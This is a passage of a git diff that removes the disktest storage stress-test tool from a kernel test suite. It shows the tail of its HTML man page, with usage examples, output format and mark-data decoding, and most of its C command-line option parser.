-This will start four write threads, syncing every 200 IOs. If there is a error on any write, then the same IO will be retried up to 3 times, and the thread will wait for 60 seconds before attempting each retry. If there is an error during the test, just continue on, reporting all errors as warnings.
-<P>
-disktest -Ag -Am -B 16k -C 100 -K 1 -z -ma -pL -P A -S 0:20000 -r -w -E 0 -N 640032 ./afile
-<P>
-Start a read/write test with error checking for 100 cycles.  If there is an error, then write out the special marker to LBA 0 of the target, and stop all testing.  You random data, and all header markers.
-<P>
-</DL>
-<A NAME="lbAI">&nbsp;</A>
-<H2>DIAGNOSTICS</H2>
-
-Output Format
-<DL COMPACT><DT><DD>
-All output has a header sting that displays in the following format:
-<P>
-<DL COMPACT><DT><DD>
-| &lt;date&gt;-&lt;time&gt; | &lt;level&gt; | &lt;pid&gt; | &lt;version&gt; | &lt;device&gt; | &lt;message&gt;
-<P>
-</DL>
-
-The first value is the system date and time.  It is expressed as:
-<DL COMPACT><DT><DD>
-&lt;MONTH&gt;/&lt;DAY&gt;/&lt;YEAR&gt;-&lt;HOUR&gt;:&lt;MIN&gt;:&lt;SEC&gt;.
-<P>
-</DL>
-
-The second value is the level of the message.  Current levels include START, END, DEBUG, INFO, WARN, STAT, and ERROR.  The third value is the process id.  This can be used to match up the test processes with the output information if more then one test process is outputting to the same context, such as file. It can also be used to regenerate a test with the same seeks and random data using the -a. The fourth value is the revision number of the test process. The fifth is the target device.  The sixth is the informational message.  The following are some examples:
-<DL COMPACT><DT><DD>
-<P>
-| 11/12/01-02:05:01 | START | 1314 | v1.2.3 | /dev/sdaa | Start args: -S100:105 -K5 -pid -r -PTX -L 25 -B 1 -z /dev/sdaa
-<P>
-| 11/12/01-02:05:01 | STAT  | 1314 | v1.2.3 | /dev/sdaa | 12800 bytes read in 25 transfers.
-<P>
-| 11/12/01-02:05:01 | STAT  | 1314 | v1.2.3 | /dev/sdaa | Read Throughput 12800B/s, IOPS 25/s.
-<P>
-| 11/12/01-02:05:01 | END   | 1314 | v1.2.3 | /dev/sdaa | Test Done (Passed)
-<P>
-</DL>
-
-</DL>
-
-Error Checking
-<DL COMPACT><DT><DD>
-When error checking is enabled, each read is compared with data that is generated by the command line options specified or assumptions made where no command line option is given.  If a data miscompare results the expected and actual data from the first 16 bytes of the LBA where the error occured is printed to STDOUT, and the IO thread will die without completing any other IO operations, unless the -A option is specified. if the compare_length is not zero, then only the first compare_length bytes are compared, and only if those bytes miscompare will a data miscompare be reported. When using the mark option, data miscompares can be more readly detect.
-<P>
-</DL>
-
-Decoding Mark Data
-<DL COMPACT><DT><DD>
-When using the -m option, it will replace the first 32+ bytes of each LBA with mark information.
-The + is the fact that it places the complete target information in the mark, so it can consume more or lease of the LBA depending on the filespec.
-The mark information looks as follows:
-<P>
-<DL COMPACT><DT><DD>
-00 00 00 00 00 00 00 D4 00 00 00 00 00 00 00 03
-<BR>
-
-00 00 00 00 42 FD 08 FD 00 00 00 00 00 00 43 FA
-<BR>
-
-69 6F 61 72 6B 00 00 00 00 00 00 00 00 00 00 00
-<BR>
-
-2E 2F 74 65 73 74 66 69 6C 65 3A 3B 3C 3D 3E 3F
-<P>
-</DL>
-
-The first 8 bytes is the LBA, in this case
-<DL COMPACT><DT><DD>
-00 00 00 00 00 00 00 D4 : Which equals LBA #212
-<P>
-</DL>
-
-The second 8 bytes is the pass count, in this case
-<DL COMPACT><DT><DD>
-00 00 00 00 00 00 00 03 : Which equals pass count 3
-<P>
-</DL>
-
-The third 8 bytes is the start time, in this case
-<DL COMPACT><DT><DD>
-00 00 00 00 42 FD 08 FD : Which equals 0x42FD08FD or 1123879165 or Fri Aug 12 13:39:25 PDT 2005.
-<BR>
-
-This value is decoding using date --date=&quot;1970-01-01 1123879165 sec UTC&quot; .
-<P>
-</DL>
-
-The fourth 8 bytes is the random seed, in this case
-<DL COMPACT><DT><DD>
-00 00 00 00 00 00 43 FA : Which equals 0x43FA
-<P>
-</DL>
-
-The next 16 bytes is the first 16 bytes of the name of the host, in this case
-<DL COMPACT><DT><DD>
-69 6F 61 72 6B 00 00 00 00 00 00 00 00 00 00 00 : Which equals: ioark
-<P>
-</DL>
-
-From the 49 byte on is the filespec, in this case
-<DL COMPACT><DT><DD>
-2E 2F 74 65 73 74  66 69 6C 65 : Which equals: ./testfile
-</DL>
-
-<P>
-</DL>
-
-Seeking/Accessing
-<DL COMPACT><DT><DD>
-When a seek failure occurs, the following information is sent to STDOUT:
-<P>
-<DL COMPACT><DT><DD>
-| 11/12/01-02:05:01 | ERROR | 2250 | v1.2.3 | /dev/sdzz | lseek failed seek 10, lba = 32714, request pos = 1284, seek pos = -1, errno = 5
-<P>
-</DL>
-
-When an access failure occurs, the following information is sent to STDOUT:
-<P>
-<DL COMPACT><DT><DD>
-| 11/12/01-02:05:01 | ERROR | 4492 | v1.2.3 | /dev/sdxp | disk access failed: seek 10, lba = 32714, got = 0, asked for = 8192, errno = 2
-<P>
-</DL>
-
-An access failure can also occur on a partial access.  In this case, 'got' will equal the number of bytes that were transfered.
-Currently, distest treats partial accesses as failures, as distest attempts to always make sure that the LBA target and trasnfer size fits inside the specified volume size.
-<P>
-</DL>
-
-Performance
-<DL COMPACT><DT><DD>
-Performance options will display information about throughput, IO per second, and runtime. This information can be print at the end of the test only, or throughout the test at a given interval using the heartbeat option, -h.
-<P>
-</DL>
-
-Dumping
-<DL COMPACT><DT><DD>
-When dumping data from filespec you will specify -d along with other command-line options.  Here is an example:
-<P>
-<DL COMPACT><DT><DD>
-disktest -d -B 1k -s25 /dev/sddz
-<P>
-</DL>
-
-This will dump 1024 bytes of data to stdout starting at LBA 25.
-<P>
-</DL>
-
-File I/O
-<DL COMPACT><DT><DD>
-Distest can be used to perform filesystem IO testing.  There is some setup required for this however.  Disktest will not automatically create a file on the filesystem.  Therefore, a file must be initialized.  This is only required for read only testing.  Write and read/write testing will create the file if not already created.  Also note, that when creating a file using random I/O, all the LBAs in the file may not be written.  This can cause disktest to show an error if a request is made to a file to an LBA that has not been previously written.  The following is an example to initialize a file for filesystem IO testing.
-<P>
-disktest -w -pl -N200000 -B128k test.fil
-<P>
-This will create a ~97MB file named test.fil in the current directory writing at 131072B per transfer.  Once this completes any type of IO test can be performed to this file. This can also be done by creating a sparce file by doing the following:
-<P>
-disktest -w -pl -K1 -L1 -S200000 test.fil
-<P>
-</DL>
-
-<A NAME="lbAJ">&nbsp;</A>
-<H2>TODO</H2>
-
-The following are options that are forthcoming, ideas, and other good stuff:
-<DL COMPACT><DT><DD>
-Add the following options:
-<DL COMPACT><DT><DD>
-butterfly: seek option: test will seek lba start/end/start+1/end-1/etc...
-<P>
-non-destructive: will read lba/write lba with read data/then read lba to verify
-<P>
-min seek: force a minimum seek distance during any IO access
-<P>
-max seek: force a maximum seek distance during any IO access
-<P>
-WORO: all blocks will be written and read only once
-<P>
-WRWR: a block will be written then read then written then read
-<P>
-retry: number of times an I/O should be retried, after an error, before counting as a failure
-<P>
-</DL>
-</DL>
-<A NAME="lbAK">&nbsp;</A>
-<H2>AUTHOR</H2>
-
-Brent Yardley (<A HREF="mailto:yardleyb@us.ibm.com">yardleyb@us.ibm.com</A>)
-<P>
-
-<HR>
-<A NAME="index">&nbsp;</A><H2>Index</H2>
-<DL>
-<DT><A HREF="#lbAB">NAME</A><DD>
-<DT><A HREF="#lbAC">SYNOPSIS</A><DD>
-<DT><A HREF="#lbAD">DESCRIPTION</A><DD>
-<DT><A HREF="#lbAE">OPTIONS</A><DD>
-<DT><A HREF="#lbAF">FILES</A><DD>
-<DT><A HREF="#lbAG">ENVIRONMENT</A><DD>
-<DT><A HREF="#lbAH">EXAMPLES</A><DD>
-<DT><A HREF="#lbAI">DIAGNOSTICS</A><DD>
-<DT><A HREF="#lbAJ">TODO</A><DD>
-<DT><A HREF="#lbAK">AUTHOR</A><DD>
-</DL>
-<HR>
-This document was created by
-<A HREF="http://localhost/cgi-bin/man/man2html">man2html</A>,
-using the manual pages.<BR>
-Time: 22:44:31 GMT, February 06, 2008
-</BODY>
-</HTML>
diff --git a/testcases/kernel/io/disktest/parse.c b/testcases/kernel/io/disktest/parse.c
deleted file mode 100644
index df38a46..0000000
--- a/testcases/kernel/io/disktest/parse.c
+++ /dev/null
@@ -1,1175 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: parse.c,v 1.8 2009/02/26 12:02:23 subrata_modak Exp $
-*
-*/
-#include <sys/types.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <stdarg.h>
-#include <signal.h>
-#include <time.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <ctype.h>
-#include <sys/stat.h>
-
-#include "globals.h"
-#include "threading.h"
-#include "main.h"
-#include "usage.h"
-#include "sfunc.h"
-#include "parse.h"
-
-int fill_cld_args(int argc, char **argv, child_args_t * args)
-{
-	extern char *optarg;
-	extern int optind;
-	extern unsigned long glb_flags;
-
-	signed char c;
-	char *leftovers;
-
-	while ((c =
-		getopt(argc, argv,
-		       "?a:A:B:cC:dD:E:f:Fh:I:K:L:m:M:nN:o:p:P:qQrR:s:S:t:T:wvV:z"))
-	       != -1) {
-		switch (c) {
-		case ':':
-			pMsg(WARN, args, "Missing argument for perameter.\n");
-			usage();
-			return (-1);
-		case 'V':
-#ifdef _DEBUG
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				exit(1);
-			}
-			if (!isdigit(optarg[0])) {
-				pMsg(WARN, args,
-				     "-%c argument is non numeric.\n", c);
-				exit(1);
-			}
-			gbl_dbg_lvl = atoi(optarg);
-#else
-			pMsg(ERR, args,
-			     "Debug code not compiled in, recompile with _DEBUG directive.\n",
-			     c);
-			exit(1);
-#endif
-			break;
-		case 'd':
-			glb_flags |= GLB_FLG_QUIET;
-			args->flags |= CLD_FLG_DUMP;
-			break;
-		case 'a':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (!isdigit(optarg[0])) {
-				pMsg(WARN, args,
-				     "-%c arguments is non numeric.\n", c);
-				return (-1);
-			}
-			args->seed = (unsigned int)strtol(optarg, NULL, 0);
-			break;
-		case 'A':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				exit(1);
-			}
-			if (strchr(optarg, 'g')) {
-				glb_flags |= GLB_FLG_KILL;
-			}
-			if (strchr(optarg, 'c')) {
-				args->flags &= ~CLD_FLG_ALLDIE;
-			}
-			if (strchr(optarg, 'm')) {
-				args->flags |= CLD_FLG_ERR_MARK;
-			}
-			if (strchr(optarg, 'r')) {
-				args->flags &= ~CLD_FLG_ERR_REREAD;
-			}
-			if (strchr(optarg, 's')) {
-				args->flags &= ~CLD_FLG_LBA_SYNC;
-			}
-			if (strchr(optarg, 'S')) {
-				args->flags |= CLD_FLG_IO_SERIAL;
-			}
-			if (strchr(optarg, 'w')) {
-				args->flags |= CLD_FLG_WRITE_ONCE;
-			}
-			if (strchr(optarg, 'W')) {
-				args->flags |= CLD_FLG_UNIQ_WRT;
-			}
-			if (strchr(optarg, 't')) {
-				args->flags |= CLD_FLG_TMO_ERROR;
-			}
-			break;
-		case 'q':
-			glb_flags |= GLB_FLG_QUIET;
-			break;
-		case 'Q':
-			glb_flags |= GLB_FLG_SUPRESS;
-			break;
-		case 'v':
-			pMsg(INFO, args, "Version %s\n", VER_STR);
-			exit(0);
-		case 'p':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (args->flags & (CLD_FLG_LINEAR | CLD_FLG_RANDOM)) {
-				pMsg(WARN, args,
-				     "Only one seek type, -p, can be specified.\n");
-				return (-1);
-			}
-			/* seek pattern type */
-			if (strchr(optarg, 'L'))
-				args->flags |= CLD_FLG_LINEAR;
-			else if (strchr(optarg, 'l'))
-				args->flags |=
-				    (CLD_FLG_LINEAR | CLD_FLG_NTRLVD);
-			else if (strchr(optarg, 'R'))
-				args->flags |= CLD_FLG_RANDOM;
-			else if (strchr(optarg, 'r'))
-				args->flags |=
-				    (CLD_FLG_RANDOM | CLD_FLG_NTRLVD);
-			else {
-				pMsg(WARN, args, "Unknown Seek pattern\n");
-				usage();
-				return (-1);
-			}
-			if (strchr(optarg, 'U') || strchr(optarg, 'u'))
-				if ((args->flags & (CLD_FLG_LINEAR)) &&
-				    !(args->flags & CLD_FLG_LUND))
-					args->flags |= CLD_FLG_LUNU;
-			if (strchr(optarg, 'D') || strchr(optarg, 'd'))
-				if ((args->flags & (CLD_FLG_LINEAR)) &&
-				    !(args->flags & CLD_FLG_LUNU))
-					args->flags |= CLD_FLG_LUND;
-			break;
-		case 'B':
-			if (!isdigit(optarg[0])) {
-				pMsg(WARN, args,
-				     "-%c arguments is non numeric.\n", c);
-				return (-1);
-			}
-			if (strchr(optarg, ':') != NULL) {	/* we are given a range of transfer sizes */
-				args->flags |= CLD_FLG_RTRSIZ;
-				args->ltrsiz = strtoul(optarg, &leftovers, 10);
-				if (leftovers == strchr(leftovers, 'k')) {	/* first value had a 'k' */
-					args->ltrsiz *= 2;
-					leftovers++;
-				} else if (leftovers == strchr(leftovers, 'm')) {	/* first value had a 'm' */
-					args->ltrsiz *= (2 * 1024);
-					leftovers++;
-				} else {
-					if (args->ltrsiz > 256)
-						args->ltrsiz /= BLK_SIZE;
-				}
-				if (!isdigit(leftovers[1])) {
-					pMsg(WARN, args,
-					     "-%c arguments is non numeric.\n",
-					     c);
-					return (-1);
-				}
-				args->htrsiz =
-				    atol((char *)strchr(leftovers, ':') + 1);
-				if ((strchr(leftovers, 'k')) != NULL) {	/* second value had a 'k' */
-					args->htrsiz *= 2;
-				} else if ((strchr(leftovers, 'm')) != NULL) {	/* second value had a 'm' */
-					args->htrsiz *= (2 * 1024);
-				} else {
-					if (args->htrsiz > 256)
-						args->htrsiz /= BLK_SIZE;
-				}
-			} else {	/* only a single value given for transfer size */
-				args->ltrsiz = atoi(optarg);
-				if (strchr(optarg, 'k')) {
-					args->ltrsiz *= 2;
-				} else if (strchr(optarg, 'm')) {
-					args->ltrsiz *= (2 * 1024);
-				} else {
-					if (args->ltrsiz > 256)
-						args->ltrsiz /= BLK_SIZE;
-				}
-				args->htrsiz = args->ltrsiz;
-			}
-#ifdef _DEBUG
-			PDBG5(DBUG, args, "Parsed Transfer size: %ld\n",
-			      args->htrsiz);
-#endif
-			break;
-		case 'c':
-			if (args->flags & CLD_FLG_PTYPS) {
-				pMsg(WARN, args,
-				     "Please specify only one pattern type\n");
-				usage();
-				return (-1);
-			}
-			args->flags |= CLD_FLG_CPTYPE;
-			break;
-		case 'n':
-			if (args->flags & CLD_FLG_PTYPS) {
-				pMsg(WARN, args,
-				     "Please specify only one pattern type\n");
-				usage();
-				return (-1);
-			}
-			args->flags |= CLD_FLG_LPTYPE;
-			break;
-		case 'f':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (args->flags & CLD_FLG_PTYPS) {
-				pMsg(WARN, args,
-				     "Please specify only one pattern type\n");
-				usage();
-				return (-1);
-			}
-			args->pattern = my_strtofft(optarg);
-			args->flags |= CLD_FLG_FPTYPE;
-			break;
-		case 'F':
-			/* the filespec is a list of filespecs in a file */
-			args->flags |= CLD_FLG_FSLIST;
-			break;
-		case 'z':
-			if (args->flags & CLD_FLG_PTYPS) {
-				pMsg(WARN, args,
-				     "Please specify only one pattern type\n");
-				usage();
-				return (-1);
-			}
-			args->flags |= CLD_FLG_RPTYPE;
-			break;
-		case 'h':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (!isdigit(optarg[0])) {
-				pMsg(WARN, args,
-				     "-%c arguments is non numeric.\n", c);
-				usage();
-				return (-1);
-			}
-			args->flags |= CLD_FLG_HBEAT;
-			args->hbeat = atoi(optarg);
-			if (strchr(optarg, 'm')) {	/* multiply by sec */
-				args->hbeat *= 60;
-			} else if (strchr(optarg, 'h')) {	/* multiply sec*min */
-				args->hbeat *= (time_t) (60 * 60);
-			} else if (strchr(optarg, 'd')) {	/* multiply by sec*min*hours */
-				args->hbeat *= (time_t) (60 * 60 * 24);
-			}
-			break;
-		case 'D':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (!isdigit(optarg[0])) {
-				pMsg(WARN, args,
-				     "-%c arguments is non numeric.\n", c);
-				usage();
-				return (-1);
-			}
-			args->rperc = atoi(optarg);
-			args->wperc = atoi((char *)(strchr(optarg, ':') + 1));
-			args->flags |= CLD_FLG_DUTY;
-			break;
-		case 'r':
-			args->flags |= CLD_FLG_R;
-			break;
-		case 'w':
-			args->flags |= CLD_FLG_W;
-			break;
-		case 'o':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			args->offset = atol(optarg);
-			args->flags |= CLD_FLG_OFFSET;
-			break;
-		case 'R':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (strchr(optarg, ':') != NULL) {	/* we are given a retry delay */
-				args->retries = strtol(optarg, &leftovers, 10);
-				args->retry_delay =
-				    (time_t) atol((char *)strchr(leftovers, ':')
-						  + 1);
-			} else {	/* only a retry count given */
-				args->retries = atoi(optarg);
-			}
-			break;
-		case 'M':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			args->flags |= CLD_FLG_ALT_MARK;
-			args->alt_mark = my_strtofft(optarg);
-			break;
-		case 'm':
-			args->flags |= CLD_FLG_MBLK;
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (strchr(optarg, 'l')) {	/* returns NULL if char is not found */
-				args->flags |= CLD_FLG_MRK_LBA;
-			}
-			if (strchr(optarg, 'p')) {
-				args->flags |= CLD_FLG_MRK_PASS;
-			}
-			if (strchr(optarg, 't')) {
-				args->flags |= CLD_FLG_MRK_TIME;
-			}
-			if (strchr(optarg, 's')) {
-				args->flags |= CLD_FLG_MRK_SEED;
-			}
-			if (strchr(optarg, 'h')) {
-				args->flags |= CLD_FLG_MRK_HOST;
-			}
-			if (strchr(optarg, 'f')) {
-				args->flags |= CLD_FLG_MRK_TARGET;
-			}
-			if (strchr(optarg, 'a')) {
-				args->flags |= CLD_FLG_MRK_ALL;
-			}
-			if (!strchr(optarg, 'l') &&
-			    !strchr(optarg, 'p') &&
-			    !strchr(optarg, 't') &&
-			    !strchr(optarg, 's') &&
-			    !strchr(optarg, 'h') &&
-			    !strchr(optarg, 'f') && !strchr(optarg, 'a')) {
-				pMsg(WARN, args,
-				     "Unknown header mark option\n");
-				return (-1);
-			}
-			break;
-		case 'E':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (!isdigit(optarg[0])) {
-				pMsg(WARN, args,
-				     "-%c arguments are non numeric.\n", c);
-				usage();
-				return (-1);
-			}
-			args->flags |= CLD_FLG_CMPR;
-			args->cmp_lng = strtol(optarg, NULL, 0);
-			if (strchr(optarg, 'k')) {	/* multiply by 2^10 */
-				args->cmp_lng <<= 10;
-			} else if (strchr(optarg, 'K')) {	/* multiply 10^3 */
-				args->cmp_lng *= 1000;
-			} else if (strchr(optarg, 'm')) {	/* multiply by 2^20 */
-				args->cmp_lng <<= 20;
-			} else if (strchr(optarg, 'M')) {	/* multiply by 10^6 */
-				args->cmp_lng *= 1000000;
-			}
-			break;
-		case 'N':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (!isdigit(optarg[0])) {
-				pMsg(WARN, args,
-				     "-%c arguments are non numeric.\n", c);
-				return (-1);
-			}
-			args->flags |= CLD_FLG_VSIZ;
-			args->vsiz = my_strtofft(optarg);
-			if (strchr(optarg, 'k')) {	/* multiply by 2^10 */
-				args->vsiz <<= 10;
-			} else if (strchr(optarg, 'K')) {	/* multiply 10^3 */
-				args->vsiz *= 1000;
-			} else if (strchr(optarg, 'm')) {	/* multiply by 2^20 */
-				args->vsiz <<= 20;
-			} else if (strchr(optarg, 'M')) {	/* multiply by 10^6 */
-				args->vsiz *= 1000000;
-			} else if (strchr(optarg, 'g')) {	/* multiply by 2^30 */
-				args->vsiz <<= 30;
-			} else if (strchr(optarg, 'G')) {	/* multiply by 10^9 */
-				args->vsiz *= 1000000000;
-			}
-			break;
-		case 'I':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (strchr(optarg, 'R') || strchr(optarg, 'r')) {
-				if (!(args->flags & CLD_FLG_BLK) &&
-				    !(args->flags & CLD_FLG_FILE)) {
-					args->flags |= CLD_FLG_RAW;
-				} else {
-					pMsg(WARN, args,
-					     "Can only specify one IO type\n");
-					return (-1);
-				}
-			}
-			if (strchr(optarg, 'B') || strchr(optarg, 'b')) {
-				if (!(args->flags & CLD_FLG_RAW) &&
-				    !(args->flags & CLD_FLG_FILE)) {
-					args->flags |= CLD_FLG_BLK;
-				} else {
-					pMsg(WARN, args,
-					     "Can only specify one IO type\n");
-					return (-1);
-				}
-			}
-			if (strchr(optarg, 'F') || strchr(optarg, 'f')) {
-				if (!(args->flags & CLD_FLG_RAW) &&
-				    !(args->flags & CLD_FLG_BLK)) {
-					args->flags |= CLD_FLG_FILE;
-				} else {
-					pMsg(WARN, args,
-					     "Can only specify one IO type\n");
-					return (-1);
-				}
-			}
-			if (strchr(optarg, 'D') || strchr(optarg, 'd')) {
-				args->flags |= CLD_FLG_DIRECT;
-			}
-			if (strchr(optarg, 's')) {
-				args->sync_interval =
-				    strtoul((char *)strchr(optarg, 's') + 1,
-					    NULL, 10);
-#ifdef _DEBUG
-				PDBG3(DBUG, args, "Parsed sync interval: %ld\n",
-				      args->sync_interval);
-#endif
-				if ((args->flags & CLD_FLG_DIRECT)) {
-					pMsg(ERR, args,
-					     "Can't specify sync with Direct IO\n");
-					return (-1);
-				}
-				args->flags |= CLD_FLG_WFSYNC;
-			}
-			break;
-		case 't':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-
-			if (strchr(optarg, ':') != NULL) {	/* we are given a option for delay & timeout */
-				args->delayTimeMin =
-				    strtoul(optarg, &leftovers, 10);
-				/* check to see if we have one or more then one ':' */
-				if ((char *)strchr(optarg, ':') ==
-				    (char *)strrchr(optarg, ':')) {
-					/* only one ':', assume no random delayTime, and ioTimeout */
-					args->delayTimeMax = args->delayTimeMin;
-					args->ioTimeout =
-					    (time_t) atol((char *)
-							  strchr(leftovers,
-								 ':') + 1);
-				} else {
-					/* more then one ':', assume random delayTime, and ioTimeout */
-					args->delayTimeMax =
-					    strtoul(leftovers + 1, &leftovers,
-						    10);
-					args->ioTimeout =
-					    (time_t) atol((char *)
-							  strchr(leftovers,
-								 ':') + 1);
-				}
-				if (strchr(leftovers, 'm')) {	/* multiply by sec */
-					args->ioTimeout *= 60;
-				} else if (strchr(leftovers, 'h')) {	/* multiply sec*min */
-					args->ioTimeout *= (time_t) (60 * 60);
-				} else if (strchr(leftovers, 'd')) {	/* multiply by sec*min*hours */
-					args->ioTimeout *=
-					    (time_t) (60 * 60 * 24);
-				}
-			} else {
-				args->delayTimeMin =
-				    strtoul(optarg, NULL, 10);
-				args->delayTimeMax = args->delayTimeMin;
-			}
-			break;
-		case 'T':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			args->run_time = atoi(optarg);
-			args->flags |= CLD_FLG_TMD;
-			if (strchr(optarg, 'm')) {	/* multiply by sec */
-				args->run_time *= 60;
-			} else if (strchr(optarg, 'h')) {	/* multiply sec*min */
-				args->run_time *= (time_t) (60 * 60);
-			} else if (strchr(optarg, 'd')) {	/* multiply by sec*min*hours */
-				args->run_time *= (time_t) (60 * 60 * 24);
-			}
-			break;
-		case 'L':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			args->seeks = atoi(optarg);
-			args->flags |= CLD_FLG_SKS;
-			if (strchr(optarg, 'k')) {	/* multiply by 2^10 */
-				args->seeks <<= 10;
-			} else if (strchr(optarg, 'K')) {	/* multiply 10^3 */
-				args->seeks *= 1000;
-			} else if (strchr(optarg, 'm')) {	/* multiply by 2^20 */
-				args->seeks <<= 20;
-			} else if (strchr(optarg, 'M')) {	/* multiply by 10^6 */
-				args->seeks *= 1000000;
-			} else if (strchr(optarg, 'g')) {	/* multiply by 2^30 */
-				args->seeks <<= 30;
-			} else if (strchr(optarg, 'G')) {	/* multiply by 10^9 */
-				args->seeks *= 1000000000;
-			}
-			break;
-		case 'C':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (!isdigit(optarg[0])) {
-				pMsg(WARN, args,
-				     "-%c arguments is non numeric.\n", c);
-				usage();
-				return (-1);
-			}
-			args->flags |= CLD_FLG_CYC;
-			args->cycles = atol(optarg);
-			break;
-		case 'K':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (!isdigit(optarg[0])) {
-				pMsg(WARN, args,
-				     "-%c arguments is non numeric.\n", c);
-				usage();
-				return (-1);
-			}
-			if (atoi(optarg) > MAX_THREADS) {
-				pMsg(WARN, args,
-				     "%u exceeds max of %u threads.\n",
-				     atoi(optarg), MAX_THREADS);
-				return (-1);
-			}
-			args->t_kids = atoi(optarg);
-			break;
-		case 'P':
-			if (optarg == NULL) {
-				pMsg(WARN, args,
-				     "-%c option requires an argument.\n", c);
-				return (-1);
-			}
-			if (strchr(optarg, 'X')) {	/* returns NULL if char is not found */
-				args->flags |= CLD_FLG_XFERS;
-			}
-			if (strchr(optarg, 'T')) {
-				args->flags |= CLD_FLG_TPUTS;
-			}
-			if (strchr(optarg, 'P')) {
-				glb_flags |= GLB_FLG_PERFP;
-			}
-			if (strchr(optarg, 'R')) {
-				args->flags |= CLD_FLG_RUNT;
-			}
-			if (strchr(optarg, 'C')) {
-				args->flags |= CLD_FLG_PCYC;
-			}
-			if (strchr(optarg, 'A')) {
-				args->flags |= CLD_FLG_PRFTYPS;
-			}
-			if (!strchr(optarg, 'P') &&
-			    !strchr(optarg, 'A') &&
-			    !strchr(optarg, 'X') &&
-			    !strchr(optarg, 'R') &&
-			    !strchr(optarg, 'C') && !strchr(optarg, 'T')) {
-				pMsg(WARN, args,
-				     "Unknown performance option\n");
-				return (-1);
-			}
-			break;
-		case 'S':
-			if (!isdigit((int)optarg[0])) {
-				pMsg(WARN, args,
-				     "-%c arguments is non numeric.\n", c);
-				return (-1);
-			}
-			args->flags |= CLD_FLG_BLK_RNG;
-			if (strchr(optarg, ':') != NULL) {	/* we are given a range */
-				args->start_blk =
-				    (OFF_T) strtoul(optarg, &leftovers, 0);
-				if (leftovers == strchr(leftovers, 'k')) {	/* multiply by 2^10 */
-					args->start_blk <<= 10;
-					leftovers++;	/* at the ':' */
-				} else if (leftovers == strchr(leftovers, 'K')) {	/* multiply 10^3 */
-					args->start_blk *= 1000;
-					leftovers++;	/* at the ':' */
-				} else if (leftovers == strchr(leftovers, 'm')) {	/* multiply by 2^20 */
-					args->start_blk <<= 20;
-					leftovers++;	/* at the ':' */
-				} else if (leftovers == strchr(leftovers, 'M')) {	/* multiply by 10^6 */
-					args->start_blk *= 1000000;
-					leftovers++;	/* at the ':' */
-				} else if (leftovers == strchr(leftovers, 'g')) {	/* multiply by 2^30 */
-					args->start_blk <<= 30;
-					leftovers++;	/* at the ':' */
-				} else if (leftovers == strchr(leftovers, 'G')) {	/* multiply by 10^9 */
-					args->start_blk *= 1000000000;
-					leftovers++;	/* at the ':' */
-				}
-				leftovers++;	/* should be at the next value */
-				if (!isdigit((int)leftovers[0])) {
-					pMsg(WARN, args,
-					     "-%c arguments is non numeric.\n",
-					     c);
-					return (-1);
-				}
-				args->stop_blk =
-				    (OFF_T) strtoul(leftovers, &leftovers, 0);
-				if (leftovers == strchr(leftovers, 'k')) {	/* multiply by 2^10 */
-					args->stop_blk <<= 10;
-				} else if (leftovers == strchr(leftovers, 'K')) {	/* multiply 10^3 */
-					args->stop_blk *= 1000;
-				} else if (leftovers == strchr(leftovers, 'm')) {	/* multiply by 2^20 */
-					args->stop_blk <<= 20;
-				} else if (leftovers == strchr(leftovers, 'M')) {	/* multiply by 10^6 */
-					args->stop_blk *= 1000000;
-				} else if (leftovers == strchr(leftovers, 'g')) {	/* multiply by 2^30 */
-					args->stop_blk <<= 30;
-				} else if (leftovers == strchr(leftovers, 'G')) {	/* multiply by 10^9 */
